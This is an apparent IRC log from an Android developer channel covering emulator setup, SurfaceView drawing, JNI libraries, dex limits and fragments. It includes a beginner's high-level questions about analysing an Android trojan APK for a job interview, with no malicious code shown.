07:09:02 yeah maybe, there's like 2 dozen .java files here Jun 16 07:09:04 jesseg: This is something that can only be done with statically typed languages, e.g. Java, Kotlin. Can't be done with Python, Ruby or Javascript. Jun 16 07:09:16 ShadeS, you know what, the x86 Atom image requires the virtualization technology, which probably is not available inside virtual box because virtual box itself is using it. Jun 16 07:09:58 platformBuildVersion code for the payload is version 22 Jun 16 07:10:05 jesseg: arg which image do I want then? Jun 16 07:10:08 CedricBeust, what can't be done? Jun 16 07:10:11 ARM EABI v7a System Image? Jun 16 07:10:15 Automatic refactorings. Jun 16 07:10:22 certainly not the android tv one? Jun 16 07:10:31 or the android wear one Jun 16 07:10:34 ShadeS, yeah afraid so, or just emulate the code in your brain :D Jun 16 07:10:53 jesseg: you eman the ARM EABI v7a is the one I do want to install Jun 16 07:11:52 CedricBeust, ahh well I don't know enough to know why a really good javascript editor couldn't refactor that way, but that's why I'm not very smart :D Jun 16 07:11:58 ShadeS, probably Jun 16 07:12:18 it'll run really really slow though because it's an emulator inside an emulator LOL Jun 16 07:12:26 Too bad you have to use virtualbox Jun 16 07:12:32 jesseg: Because Javascript is dynamically typed: variables don't have explicit types, so no IDE can perform automatic refactoring without help from the developer. Jun 16 07:12:34 yeah Jun 16 07:12:53 CedricBeust, ahh Jun 16 07:13:04 jesseg: doesn't matter if it's slow as long as it /does/ Jun 16 07:13:32 ShadeS, K just be real patient while android OS loads which it has to do before you app loads :D Jun 16 07:14:00 i'll just go smoke a cigarette in that mean time probably Jun 16 07:14:35 CedricBeust, fascinating. Do you perchance know anything about drawing 2D primitives on a SurfaceView? I've poured over the tutorials and examples and still can't figure it out. Jun 16 07:14:43 in this xml file under i see limit-password, watch-login, reset-password, force-lock, wipe-data, expire-password, encrypted-storage, disable-camera Jun 16 07:14:47 soundsl ike nasty stuff huh? Jun 16 07:15:03 LOL yeah. Jun 16 07:15:12 that's barely anything for a typical android app Jun 16 07:15:35 in that xml file what are each of those things in between the < /> Jun 16 07:16:04 although permission.BRICK did get removed, I think Jun 16 07:16:15 ShadeS: you seriously have absolutely no clue what you're doing, do you? Jun 16 07:16:29 basically, limits your password, watches you log in, resets your password, forces a lock, wipes your data, expires your password, encryptes your storage and disables your camera? Jun 16 07:16:48 Leeds: it's my first time reversing something, I've been doing networking, systems, and development before I decided to jump into reversing stuff Jun 16 07:17:07 ShadeS: where did you get this trojan and why are you so interested in reverse engineering it? Jun 16 07:17:09 Leeds: I have kind of a clue, but not like, really knowing exactly what i'm doing Jun 16 07:17:17 it's your first time even looking at anything at all to do with Android, or Java, isn't it? Jun 16 07:17:44 shmoooz: from a friend who works for a company as a malware researcher/security analysit, and if i could do 'ok' on this basic toy problem, the one I'd get in an interview is going to be cake Jun 16 07:18:12 i'm so interested in reversing it, bceause if I do well, I'll get a job as a security researcher working with friends making a fair wage Jun 16 07:18:33 if i don't do so well i'll have to porbably return to techsupport hell and putting out sysadmin fires ;( Jun 16 07:18:37 ShadeS: will you be coming back here with basic questions which you haven't made any attempt to research once you get a job? Jun 16 07:18:53 ShadeS: start by learning write apps Jun 16 07:19:02 lol I mean I hope to not have to ask questions unless I'm stuck Jun 16 07:19:34 shmoooz: i've developed in java before but the thing that i most recentlyw orked on in java was off of a 20 year old code base and it was just a flaming bag of NO Jun 16 07:19:53 Leeds, any chance you know how to draw 2D primitives on a SurfaceView that is siblings with other Views in a RelativeLayout? Jun 16 07:19:57 It's been a while since I played with java on a daily, my most recent development was in javascript Jun 16 07:20:12 ShadeS: we do app dev here mostly, people won't will get sick of hearing about reverse enginnering security stuff Jun 16 07:20:20 jesseg: probably, but I'd want to know what you'd tried, and why you're so obsessed with that specific operation Jun 16 07:20:35 oops, I mean not won't, just will Jun 16 07:21:00 Leeds: I started with an apk, which i reversed and found 2 java files, an a.java and MainActivity.java and in that mainactivity there was a base 64 4ncoded thing, which was the payload, upon undoing that payload and geting into there, it seems that's where the 'real' applciation is, the first thing I was given was just a wrapper for it Jun 16 07:21:13 ShadeS: yes, I know, I saw you doing all that today Jun 16 07:21:19 oh Jun 16 07:21:20 ok Jun 16 07:21:22 Leeds, I'm just learning and I think a really fun project would be drawing 2D lines. The google docs said SurfaceView was a good way to go if I'm updating my scene rappidly. Jun 16 07:21:45 you think drawing 2d lines is a really fun project? you're odd... Jun 16 07:21:55 Leeds: lol yeah I have to agree with you Jun 16 07:22:00 lol Jun 16 07:22:07 although figuring out what this thing does, is actually a really fun project Jun 16 07:22:17 Leeds, lol but I have to start somewhere. I'm not ready for 3D yet. Jun 16 07:22:22 it's like each time i go deaper it's like unwrapping another layer of christmas wrapping Jun 16 07:22:39 hopefully it's not just a coal under 600 layers of wraps Jun 16 07:22:56 ShadeS: point is, you're trying to show you know what you're doing by taking on this thing - but you obviously don't know enough about Android or Java to be able to understand what's going on Jun 16 07:23:00 better to learn first Jun 16 07:23:04 jesseg: go all the way and plot 1D pixels Jun 16 07:23:09 Leeds, is there a better way to do what I want that you might so kindly suggest? Jun 16 07:23:25 jesseg: since you haven't told us what you want to do, it's impossible to say Jun 16 07:23:28 shmoooz, yeah I was tempted to just go NDK+Allegro :P Jun 16 07:24:03 Leeds: it's actually less knowing about android than it is knowing about java, I mean I'm just rusty with the java but android is kinad completely foreign to me Jun 16 07:24:49 Leeds, Oh, sure, I want the simplest-for-a-beginner approach for drawing 30fps line art on android screen, with some buttons and text views around the area that's being drawn. It's a little audio oscilloscope app. Jun 16 07:26:15 ShadeS, actually being familiar with reversing makes better forward programmers if they have the mental capacity to understand the bigger world out there.. or under there.. But I've heard some people don't. Jun 16 07:26:38 jesseg: with webaudioapi you can do that stuff easily from within a browser using javascript if you don't want to deal with doing it natively on the device 8 ) Jun 16 07:27:02 jesseg: i've talked to devs that didn't even know how to build their own computer Jun 16 07:27:11 i feel like I don't know a lot, until I talk to someone like that Jun 16 07:27:52 it still makes me feel like I don't know a lot, but also now feel pity for someone that thinks they're a hot dev and they don't even know what they don't know Jun 16 07:28:07 ShadeS, yeah, I've done it with javascript but I really need better CPU efficiency so direct Java is what I need. Or Native code (i.e. running native compiled C/c++ code on the underlying Linux) Jun 16 07:28:29 ShadeS: if you knew anything about Android app dev, you'd have immediately recognised the "getString(resid)" call that you saw in the decompiled code this morning Jun 16 07:29:01 Leeds: I don't actually know anything abotu android app dev Jun 16 07:29:11 I've only wrote for desktops, never mobile Jun 16 07:29:20 remember, as long as you know big O you're a developer /s Jun 16 07:29:31 lol Jun 16 07:29:33 ShadeS: yes, that's obvious, and I'm saying you should learn some of that before you try to show off your Android malware analysis skills Jun 16 07:29:42 lol Jun 16 07:29:51 Leeds: I mean, yeah I could agree with you there Jun 16 07:30:15 well he was trying to get help but this channel is not for that Jun 16 07:30:35 jesseg: your end goal is 2d lines? Jun 16 07:30:45 wasn't trying to show off my 'android malware analysis skills' so much as I was trying to demonstrate a capacity to do something I've never done before Jun 16 07:31:01 Leeds, for this project, yes. 2D lines, redrawn around 30fps, and not full screen. Jun 16 07:32:16 that's still a very strange goal Jun 16 07:32:19 I'd like to think i'm doing 'ok' for someone that doesn't do this stuff reguarlly every day Jun 16 07:32:21 Hello boys and psychopath girls. Jun 16 07:32:26 meh Jun 16 07:33:21 So if an activity is running a runnable as in a timer which is never stopped by the program will this runnable stop running if the activity is paused or goes to the background ? Jun 16 07:33:28 Leeds, Not sure what's strange about it as a goal for a learning project. Lots of games are 2D lines, oscilloscopes are 2D lines, bleh, you can even render a 3D scene with 2D lines with a touch of math. Why is it a strange goal? Jun 16 07:34:04 jesseg: so say "emulate an oscilloscope" or "render a 3d scene" Jun 16 07:34:18 double-meh Jun 16 07:34:38 wake me up when you make a 3D game engine with realistic physics Jun 16 07:35:09 Leeds, huh? yeah you can render a 3D wireframe scene using 2D drawing primitives by scaling X and Y with Z Jun 16 07:35:35 shmoooz: game engines are so hard Jun 16 07:39:00 ShadeS, I do find it interesting how once in a while I'll see a fellow who is just real happy to demean someone and tell them they are doing it wrong but actually provide zero constructive response. I wonder if they feel that by trying to take meaning from another's life they can take it into their own life LOL Jun 16 07:39:43 jesseg, https://developer.android.com/reference/android/graphics/Canvas.html Jun 16 07:40:04 drawLine drawLines drawPath etc is what you need Jun 16 07:40:22 if we don't yell at you how useless you are how are you going to become useful? Jun 16 07:40:35 and you also need to learn/dig the Paint class Jun 16 07:40:51 shmoooz, he is making an audio oscilloscope, like rendering waveform Jun 16 07:41:13 jk ;-) Jun 16 07:41:19 has been few days he asks about Jun 16 07:41:46 I'm not sure I enjoy development so much as I enjoy reversing 8 | Jun 16 07:42:13 it's more interesting to me and it seems more challenging and puzzeling Jun 16 07:42:32 adq, Thanks! I seen that document dozens of times in my searches. Once I have the canvas active, I'm all set. But I can't figure out how to get the canvas for the SurfaceView which is a sibling to other views in my RelativeLayout.. Jun 16 07:42:59 already told you, you get it from surfaceholder Jun 16 07:43:11 and gave you few examples/tuto including the lunarlander Jun 16 07:43:20 I'm sure there are already many oscilloscope examples in android and java Jun 16 07:43:42 you have the canvas from surfaceholder, between lock and unlock (each frame thus), you can draw inside the canvas Jun 16 07:43:51 adq, I looked at the luner lander and could not figure out how it did it. I think it's also full screen, so it obliterates other views, which I don't want to do. Jun 16 07:44:14 So do I define my SurfaceView in my xml file, or both there and create it dynamically? Jun 16 07:44:20 surfaceview is a specialview, by default it will draw a hole even if you have regular views on top Jun 16 07:44:31 you can play with the z order, but since you're still not able yet to draw anything Jun 16 07:44:42 you would better start with a surfaceview without anything on top of it Jun 16 07:44:42 layering Surface View slows things down due to alpha blendign though Jun 16 07:44:50 not really Jun 16 07:44:56 surfaceview will drill a hole Jun 16 07:45:19 oh well I dunno but I saw that in google docs that it slows it down, but it doesn't matter, I have a layout with nothing overlapping and I like it :D Jun 16 07:45:24 you should not care about that yet, though performances are critical Jun 16 07:45:52 start simple first, just put a rectangular surfaceview somewhere in your layout Jun 16 07:45:58 and try to draw inside it Jun 16 07:46:18 so do I call surfaceView = (SurfaceView) findViewById(R.id.surfaceView); Jun 16 07:46:44 then do I call SurfaceHolder(surfaceView)?? Jun 16 07:46:47 no Jun 16 07:46:56 you did not read at all the examples/tutorial i gave you it seems Jun 16 07:47:17 Well, I tried, but I don't think they defined their SurfaceView in the xml file. Jun 16 07:47:18 so back to square one, read more about it Jun 16 07:47:27 I think they created them dynamically. Jun 16 07:47:48 you will find many examples online where you just have to import the project and run it Jun 16 07:48:01 try to understand them Jun 16 07:48:27 I did a bunch of those. And they worked. But they also were full screen and somehow remapped the context so I could no longer interact with buttons and textviews Jun 16 07:48:33 I really did try. Jun 16 07:49:05 Is it not possible to draw to a SurfaceView that I've defined in the activity_main.xml? Jun 16 07:49:12 of course it is Jun 16 07:49:42 i know it's not fun to struggle, but via struggling you will learn Jun 16 07:49:51 i have to go anyway, good luck Jun 16 07:49:55 haha thanks :D Jun 16 07:56:44 what is the fragment element for? Jun 16 07:56:49 in xml Jun 16 07:57:18 I see it in official Fragment Tutorials Jun 16 07:57:48 But in unofficial one they just Used a android.support.v7.widget.RecyclerView Jun 16 07:58:08 I don't know myself but did you check this? https://developer.android.com/guide/components/fragments.html Jun 16 07:59:32 Maybe it's like an iFrame LOL Jun 16 08:00:22 oh well bedtime. Jun 16 08:04:07 you said that already Jun 16 08:05:32 seemslike class a extends BroadcastReceiver could be renamed ... it's dealing with bluetooth so maybe class BlueToothBroadCastReceiver? Jun 16 08:06:39 oh SecretKeySpec sounds interesting Jun 16 08:06:58 i wonder what treasure trove this thing unlocks Jun 16 08:12:47 trying to just reason about all these files is really overwhelming Jun 16 08:13:05 I can only get kind of a feel of what I think it's doing instead of knowing exactly what it is doing Jun 16 08:13:56 I can see it phones a home but idk what it sends or how exactly to find that out Jun 16 08:14:19 based on the things it wants access to it looks like it sends as much as it can Jun 16 08:27:36 hey fellas Jun 16 08:27:47 why can't I send a SparseArray as an extra? Jun 16 08:31:05 it seems it isnt parcelable nor serializable Jun 16 08:31:41 there's a ParcelableSparseArray type Jun 16 08:32:07 but you cannot work with it like a normal SparseArray, you can't say ParcelableSparseArray var = new .... Jun 16 08:32:23 and you can't initialise it with {{ put(key, value); }} Jun 16 08:33:18 String isnt parcelable is it Jun 16 08:33:41 oh man, it has to drive down to the very type you're working with too? Jun 16 08:33:51 String is definitely parcelable Jun 16 08:34:17 is serializable, it isnt parcelable Jun 16 08:34:28 yes im reading the source Jun 16 08:34:33 well this is a clusterfuck then Jun 16 08:34:56 I guess I can just use ParcelableSparseArray Jun 16 08:35:04 and put() into it and send, I dont care Jun 16 08:35:25 yea, String has to be parcelable as well Jun 16 08:35:56 I can implement my own class that's parcelable and have one member Value Jun 16 08:46:46 it becomes like this parcelableSparse.put(0, Parcels.wrap(new ParcelableString(""))); Jun 16 08:47:09 using Parceler library that is Jun 16 08:48:28 arghz i can't get a virtual android device working for the life of me 8 ( Jun 16 08:48:46 none of them work here, Mac Pro Jun 16 08:48:53 they all work at my home MBP Jun 16 09:57:23 sometimes I can't change my strings.xml in android studio because everytime i click build or clean project the file automatically gets reverted to a file with an error (string with apostrophe). why does this happen? Jun 16 10:08:25 frib, have you tried to turning it of and on again? Jun 16 10:20:07 i am sending image via bluetooth and converting it to byte[] i am receiving the byte[] other side and writting it to jpg file directly. but the image is not built in the end. any one has any idea Jun 16 10:23:12 I want my webview to use cookies from the system browser; how can I do this with API 14+? Jun 16 10:27:26 bolovanos yes, i think that fixed it Jun 16 10:27:29 thanks Jun 16 10:44:22 Hello, sorry for just coming here just to ask a question, but i haven't been to find andswer anywhere, does anyone have experience with drag and drop ? I need to receive events if user drops item outside DialogFragment. I only receive exit event on DialogFragment, no DRAG_ENDED.... Jun 16 10:52:45 wow the android emulator crash report is trying to send a full process listing in the error report... Jun 16 10:53:05 what an absolute privacy fuckup Jun 16 10:53:24 there is so much personal information in the full command lines of my workstation :E Jun 16 10:54:02 full environment dump too, wow. Jun 16 10:54:20 and the "Send automatically box" is ticked by default Jun 16 10:57:33 I couldn't find any clue anywhere regarding this issue, I appreciate your support. I have added voice and video calling to my app, and incase of app is not in foreground, i should make the app show HeadsUp notification with Category_calling, the problem is it just ring twice for 5 seconds and stops ringing, How can i make it keep ringing for a minute Jun 16 10:57:44 hands-down the most disgustingly non-privacy respecting error report i have ever seen Jun 16 11:03:58 Why everyone is ignoring that question ?!!!! Jun 16 11:07:29 because its so early in the morning in murica Jun 16 11:08:34 I asked this question 3 times during the last 60 hours, no one replies :) Jun 16 11:09:23 Can't seem to find your question. Could you repeat it? Jun 16 11:12:49 Also... Please understand this is community run IRC and not paid tech support :) Jun 16 11:23:42 DevSherif, I believe I told you that you'll probably need to play the audio yourself Jun 16 11:24:09 notification likely just plays the audio clip it has once and doesn't loop Jun 16 11:29:47 no one cares maybe Jun 16 11:29:56 petty problem Jun 16 11:33:10 i have to say though that i'm really impressed at how well the android emulator performs out of the box on Intel Haswell with OpenGLES acceleration even Jun 16 11:33:47 JyZyXEL, it has changed a lot from what it was before Jun 16 11:35:14 it didn't used to "just work"? Jun 16 11:35:49 yes, it "just worked" Jun 16 11:35:59 a game with 5 FPS also just works Jun 16 11:36:55 i wish i had some game to test with Jun 16 11:37:16 i've been just using my emulator to periscope with people around the world Jun 16 11:37:29 works amazingly well for that Jun 16 11:39:16 the only little minor annoyance i had on the emulator-side, is that mouse scroll wheel events don't send scrolling events to the device Jun 16 11:39:45 total nitpick :) Jun 16 11:42:55 that's a major requirement, not nitpicking Jun 16 11:43:12 oh nevermind Jun 16 11:43:49 you just have to hold a mouse button down and swipe instead Jun 16 11:44:50 kind of an obvious shortcut would be to put that in the scroll-wheel... i don't know how they missed it :P Jun 16 11:56:55 anyone know a way of testing the hardware? i have been googling all day :/ Jun 16 11:57:08 i think the wifi is broken in my galaxy s4 i9515 Jun 16 12:02:54 Hi, just a simple and dumb question: what is the benefit of using shared lib for android apps (as there are not really shared, as the app run in it's own sandbox ?) Jun 16 12:09:52 quovadis: What do you mean when you say shared lib? Like a library project you wrote or other peoples libraries? Jun 16 12:10:50 arkaros: I mean a ".so" lib used by an app, and which is also packaged in the apk. Jun 16 12:11:56 AFAIK apps on android runs on there own sandbox and except for the native shared lib, they are linked to the lib that reside in there sandbox Jun 16 12:12:16 so for me it's waste of space compare to static lib Jun 16 12:12:25 But I surely miss something ? Jun 16 12:12:32 quovadis: shared libraries are meant to be called into by other code... static libraries are meant to be compiled-in Jun 16 12:13:00 Leeds: yes I know what static and shared lib are Jun 16 12:13:41 good... then how do you intend to compile a static library into a packaged bytecode app? Jun 16 12:14:56 quovadis, uhm, where would static library be linked into if it would exist? Jun 16 12:15:06 Leeds: all of this is base on using the NDK so for example imagine that you need to use libfoo, and that you have the JNI, then you may choose either to link against static or against shared, in the latter case you have to ship the .so lib with the app Jun 16 12:16:53 Mavrik: AFAIK JNI allow static linkage ? Jun 16 12:16:58 To what? Jun 16 12:17:11 Static linkage means that all compiled code is embedded into the output binary. Jun 16 12:17:17 Java software in general has no binary to include it. Jun 16 12:17:43 That's why you need a shared library that can be loaded into the JVM process and entry points resolved :) Jun 16 12:17:47 There's no static linkage for JNI. Jun 16 12:17:52 Not even on desktop. Jun 16 12:18:16 Zharf, sorry didn't see it Jun 16 12:19:05 Zharf: so you mean that i have to use an audio file of a ringtone lasts for 40 seconds, great Jun 16 12:19:08 i will try that Jun 16 12:19:43 I'm not sure what the notification thing does with long audio, but sure you could try that Jun 16 12:19:59 what I'm saying is that you should play the audio yourself, at least then you'd get what you want Jun 16 12:20:55 OK, will try that and see Jun 16 12:20:59 Thanks a lot Zharf Jun 16 12:22:11 Mavrik: Ok I was no sure of that Jun 16 12:22:38 Yep, the other issues is different architectures :) Jun 16 12:23:00 NDK will build .so for each architecture so they can be loaded by the dalvik/art process. Jun 16 12:23:02 Mavrik: ok this make sense indeed Jun 16 12:27:09 Mavrik: imaging an app that depend on libfoo.so (loaded with JNI) which itseld depend on libbar.so Jun 16 12:27:45 Mavrik: in that case wouln't it be more efficient to have libbar.a Jun 16 12:27:57 Yep. Jun 16 12:28:15 Linking everything into a single .so with hidden symbols by default is usually the most efficient. Jun 16 12:28:29 It also allows you to use gc-sections to remove dead code and reduce binary size. Jun 16 12:31:44 Mavrik: yep that's also what I thought but seeing a lot of apk embedding .so I was wondering if I was missing something Jun 16 12:31:52 Mavrik: thanks for the details ! Jun 16 12:51:55 Anyone seeing gradle failing with a DexIndexOverFlowException: Cannot merege new index into a non-jumbo instruction lately? my dex count is around 60k. Jun 16 12:52:40 Well, obviously it's over 65k :) Jun 16 12:53:40 :/ Jun 16 12:53:51 did u add play-services? Jun 16 12:54:01 as in the entire play-services Jun 16 12:54:20 compile 'com.google.android.gms:play-services-gcm:8.4.0' Jun 16 12:54:35 just that? Jun 16 12:54:43 for play-services, yeah Jun 16 12:55:02 what other big libraries are u using? Jun 16 12:55:27 support-v4, protobuf, zxing Jun 16 12:55:33 happend to me when i accidently added the entire play-services sdk Jun 16 12:57:09 use multidex [solved] Jun 16 12:57:33 haha Jun 16 12:58:32 just enabling jumbo mode works, but this problem only started recently. Jun 16 12:59:42 or read this http://jeroenmols.com/blog/2016/05/06/methodcount/ Jun 16 13:01:08 yeah, i have that plugin. pretty nice way to visualize. Jun 16 13:02:19 was trying to avoid running proguard on debug builds, but looks like it's unavoidable. Jun 16 13:46:34 just use v21 multidex and call it a day Jun 16 13:56:14 which context to use for Toast? application or activity? Jun 16 14:04:48 (I'm working with a designer.) Is it possible to have a normal Material button only adjust its drawable's corner radius slightly? Hoping for another solution than just copy .xml files and edit them. Maybe some attribute somewhere? Jun 16 14:11:05 Hello Jun 16 14:12:03 Anyone here? I have few questions Jun 16 14:13:56 just ask, someone might pick it up Jun 16 14:15:52 I am learning android development. I want to know how can I create augmented reality app to recognise text from camera using OCR. Jun 16 14:16:18 Anyone gives me tip or heads up to get me started. Jun 16 14:16:55 abhigeek: use a lib for the OCR, figure out how to feed it bitmap from the camera Jun 16 14:18:53 Googling I found this Tesseract & Vuforia. Should I work on this and combine with OCR library? Jun 16 14:22:16 Isn't here anyone who is android expert? lol Jun 16 14:25:29 We all are Jun 16 14:25:38 I'm not :D Jun 16 14:25:46 Which is why I'm staying quiet Jun 16 14:25:50 Well, I was Jun 16 14:25:58 Now you are an expert Jun 16 14:26:04 Congratulations Jun 16 14:27:00 so called 'experts' Show me path of light :D Jun 16 14:27:32 abhigeek: First things first: Do you have any other dev experience besides beginner Android? The project you are describing, it might be a big bite to chew on. Jun 16 14:28:48 Yes. Javascript, c++,php,front end designing. I'm not a novice programmer. But I'm new to android and AR Jun 16 14:34:08 a dev wandering in land to code. Need help :( Jun 16 14:39:14 Books are good Jun 16 14:39:21 websites are good Jun 16 14:48:01 javascript and php don't really qualify here Jun 16 14:48:21 Maybe c++ depending on the extent of experience, but it sounds minimal Jun 16 14:49:43 ie if you were strong with c++ you wouldn't have mentioned javascript nor php Jun 16 14:58:47 <_kw> I updated my android sdk/build tools (command line), but the packages seem to be missing package.xml for some reason, anyone know why that might happen? Jun 16 15:00:07 the command line tool sucks my guess Jun 16 15:03:22 I just want to frameworks and libraries to create AR app. Jun 16 15:04:57 <_kw> hmz Jun 16 15:09:07 dead channel? Jun 16 15:09:56 <_kw> I just used the basic sdk/tools/android update sdk --no-gui Jun 16 15:10:04 It's not a dead channel, it's just that what you are asking is pretty specific. Good chance nobody active in here has ever used one of those libraries Jun 16 15:10:07 <_kw> and for some reason the packages are all lacking their xml Jun 16 15:10:15 <_kw> he's already gone pduin :) Jun 16 15:10:20 Ah Jun 16 15:10:36 Turned off my join/part msgs Jun 16 15:10:42 <_kw> I pronounced your nick in my head and it sounds like padawan ;P intentional? Jun 16 15:10:55 Hahah no Jun 16 15:10:59 <_kw> ah no, you're dutch, it's not then ;) Jun 16 15:11:12 Yep :) Jun 16 15:15:42 p Dune Jun 16 15:17:25 anyone familiar with Glide? I have 2 bitmaps of varying size, i want them both cropped to the same size, then have their corners rounded with the same radius. Somehow the resizing happens after the rounding, which results in different corner-radii... Jun 16 15:23:50 morning all o7 Jun 16 15:32:20 Morning orbyt_ Jun 16 15:32:31 Eat, chew, drink...orbyt Jun 16 15:33:25 hi all, good whatever Jun 16 15:33:58 last night i saw the io2016 data binding presentation Jun 16 15:34:43 i didn't know it was available Jun 16 15:34:48 when was data binding first announced? Its been around awhile Jun 16 15:34:58 i mean, the presentation Jun 16 15:35:16 well regardless im surprised i havent heard much about it. I havent used it Jun 16 15:35:27 they said the api is production ready Jun 16 15:35:53 data binding >.< Jun 16 15:35:57 just seems like not alot of people using it for whatever reason Jun 16 15:37:04 because databinding is fragile Jun 16 15:37:07 it sucks Jun 16 15:37:11 here it is https://www.youtube.com/watch?v=DAmMN7m3wLU Jun 16 15:38:18 as i said yesterday, it brought confusion to my head Jun 16 15:38:57 the y also announced two-way binding Jun 16 15:39:29 lambda in the xml Jun 16 15:41:56 orbyt_ it was in beta for a long time, probably something to do with it. plus is pretty powerful and a bitto learn Jun 16 15:42:58 and plus many people were probably already using butterknife and thought meh , why change Jun 16 15:44:07 Napalm|afk really likes it; i was going to give it a try but think each time 'hm, these few findViewByIds are ugly but - its pretty clear whats going on - do i want to add a code gen step , learn all this databinding stuff, just to get rid of that ...' Jun 16 15:45:05 So I learned Toast object can use context from either an Activity or Application.. What purpose the context exactly serves in displaying a Toast? Jun 16 15:45:24 purplex88 a service could show one, but its bad behavior Jun 16 15:45:32 use a notification Jun 16 15:45:53 I am talking about Toast. Jun 16 15:46:04 me too Jun 16 15:46:16 Like when you click a button. Jun 16 15:46:20 and Toasts are pretty much deprecated Jun 16 15:46:38 use Snackbar Jun 16 15:46:42 i.e. it uses content.getResources() if you provide it string id? Jun 16 15:46:52 hey all, why would some devices append file extensions when using DownloadManager.Request ? Jun 16 15:47:25 Mavrik: i found the problem from yesterday. :| Jun 16 15:48:09 g00s: you killed the question :P Jun 16 15:48:36 * g00s looks Jun 16 15:48:43 yes , there it lies dying ... Jun 16 15:49:09 brb Jun 16 15:51:06 hello Jun 16 15:51:09 anyone here can help me ? Jun 16 15:51:19 pifon: hello Jun 16 15:52:11 jackbrown: This is IRC, don't ask to ask, just ask Jun 16 15:52:15 I have an android phone running KitKat 4.4.4, I have an issue setting different ringtones for the 2 SIMS Jun 16 15:52:18 Thorbear: thanks Jun 16 15:52:29 The problem is that when I reboot the phone I lose the settings Jun 16 15:52:54 My phone is rooted and I was trying to understand in which files it stores the setting and see if there's a workaround Jun 16 15:53:05 is there anyone available to help me to understand what to do to fix my issue ? Jun 16 15:53:08 thanks in advance Jun 16 15:53:36 Thorbear: did I made myself clear about my problem ? Jun 16 15:55:08 Generally this channel handles app development (although there will usually be someone here who can answer almost any android-related question), have you tried in #android-root ? Jun 16 15:55:46 Thorbear: yes I'm there too Jun 16 15:56:34 Thorbear: is mine an hard question to handle? Jun 16 15:57:07 I see, then this is the part where you wait until someone who is both willing and able to help responds. Jun 16 15:57:32 Thorbear: yes sure thanks for you suggestions :) Jun 16 16:00:49 mrandroid: hello Jun 16 16:01:16 hi jackbrown Jun 16 16:01:37 mrandroid: Could you help me ? I have an android phone running KitKat 4.4.4, I have an issue setting different ringtones for the 2 SIMS The problem is that when I reboot the phone I lose the settings My phone is rooted and I was trying to understand in which files it stores the setting and see if there's a workaround Jun 16 16:02:09 mrandroid: I don't want to wast your time I just would like to know if there's a workaround or something I can do to fix this thanks Jun 16 16:03:17 if settings are cleared when you switch sims then that's probably by design. Jun 16 16:03:38 try saving the settings in your own app and then setting them when the phone boots ... just a thought. Jun 16 16:03:46 mrandroid: no I don't switch SIM it's a dual standby phone Jun 16 16:04:02 mrandroid: my own app ? Jun 16 16:04:33 mrandroid: there's must be some file where the phone save settings but when I reboot I lose them, should find it to check if there's a workaround Jun 16 16:05:29 jackbrown off topic for this channel, try android-root Jun 16 16:05:42 g00s: ok thanks I'm there too hoping someone will answer Jun 16 16:08:13 wrong channel Jun 16 16:10:00 pfn: sorry Jun 16 16:10:00 pfn: dunno where to ask, I was on #android the sent me here Jun 16 16:12:32 that happens office, not sure if its malice or incompetence ... Jun 16 16:12:35 *often Jun 16 16:12:48 the latter Jun 16 16:12:49 of course Jun 16 16:14:21 rxjava 1.1.6 Jun 16 16:14:32 evenin Jun 16 16:14:43 mornin :) Jun 16 16:16:17 Mavrik any chance, do you know if its illegal to use commitNow() or .executePendingTransactions() in Fragment lifecycle methods like onCreate? i keep getting IllegalStateExceptions, i guess i just never did this before & noticed it Jun 16 16:16:52 onCreate() { getFragmentManager().beginTransaction().commitNow() } <-- blows up Jun 16 16:16:57 and its empty Jun 16 16:16:58 I'm pretty sure it is. Jun 16 16:17:10 Also Fragment's aren't allowed to have a backstack_ Jun 16 16:17:12 ? Jun 16 16:17:14 yeah ok, kinda makes sense, i guess i never tripped over it before Jun 16 16:22:27 purplex88: the context you pass to Toast is imporant. Using the application context means the Toast will still show when you leave the activity. So like on your home screen. Same goes when switching between fragments. You should basically always use an Activity so as not to annoy the user though. Jun 16 16:22:52 g00s: i could see an IllegalStateException caused by a blank transaction. Jun 16 16:23:09 Napalm its not the blank transaction, its the timing Jun 16 16:23:19 timing? Jun 16 16:23:31 any transaction i try in Fragment#onCreate, onActivityCreated, etc blows up Jun 16 16:23:43 when followed by ExecutePendingTransactions or commitNow() Jun 16 16:24:03 yea, thats not the same as onCreate Jun 16 16:27:50 Napalm one sec, have to take jake out Jun 16 16:27:57 kk Jun 16 16:28:59 Napalm: thx, but it is basically used to locate the string resource id in R.java if im right? Jun 16 16:36:37 hi guys Jun 16 16:37:25 guys,I need a professional opinion from someone who has developed a lot of apps with dynamic UIs using fragments. Jun 16 16:39:58 I wonder if it is better to consider whole app layout as a fragment(containing actionbar,and everything), or just internal area of app(space ignoring actionbar) Jun 16 16:40:22 I wonder how is it normally better to manage your fragment? Jun 16 16:42:29 Both are fine, whatever makes it easiest to achieve what you want Jun 16 16:43:48 I really don't know if it is good to keep actionbar inside fragment or not. Jun 16 16:44:03 It's fine Jun 16 16:44:32 if fragment need to change for example actionbar title, it is better to be in fragment,isn't it? Jun 16 16:47:15 The activity could set the title as well when it shows the fragment Jun 16 16:53:02 Napalm yeah, this doesn't work. You can't use executePendingTransactions or commitNow() in Fragment#onCreate(), onActiviityCreated(), onViewCreated() Jun 16 16:53:13 but it seems to work on onStart() Jun 16 16:53:44 note - this has to be the same fragment manager that is causing the outer Fragment to do something, ie - not the child frag manager etc Jun 16 16:54:18 love these undocumented things that are semi bizarre Jun 16 16:59:22 Napalm tried with the last 23.x and 24 support libs Jun 16 17:06:10 Napalm can you replicate ? Jun 16 17:07:26 basically, what i wanted was FragmentA, in its onCreate(), to create FragmentB() - and brought up to onCreate() before commitNow() returned Jun 16 17:18:23 I'm using FindBugs on a decompiled android app jar file. It analyzes it but when I click a bug it says "Unable to find source" in the source window. How do I fix that? Jun 16 17:22:35 guys Jun 16 17:22:42 I wanna learn android development Jun 16 17:22:52 which resource would lead me from beginner to advanced Jun 16 17:23:54 Codfection, get started here: https://developer.android.com/training/basics/firstapp/index.html Jun 16 17:24:31 jesseg, oh I can through the docs in the website Jun 16 17:24:38 I thought I would need some sort of videos or books Jun 16 17:25:04 Codfection, well you will need everything you can find from youtube videos and how-tos and Stack Overflow posts which will show up searching google Jun 16 17:25:21 yea but well.. thanks Jun 16 17:25:27 I am asking about advanced stuff. Jun 16 17:25:56 like what kind of advanced stuff? NDK? Jun 16 17:26:09 yea Jun 16 17:27:12 I think they have docs on that too, but I've found the information is a bit hard to follow so just keep doing more complicated projects and learning as you go and if you don't give up some day you'll understand the advanced stuff.. LIke I don't LOL Jun 16 17:27:34 how not to give up Jun 16 17:27:35 :D Jun 16 17:36:30 so you wanna learn android development but the advanced stuff already? Jun 16 17:37:05 I'm struggling to understand this bit of code 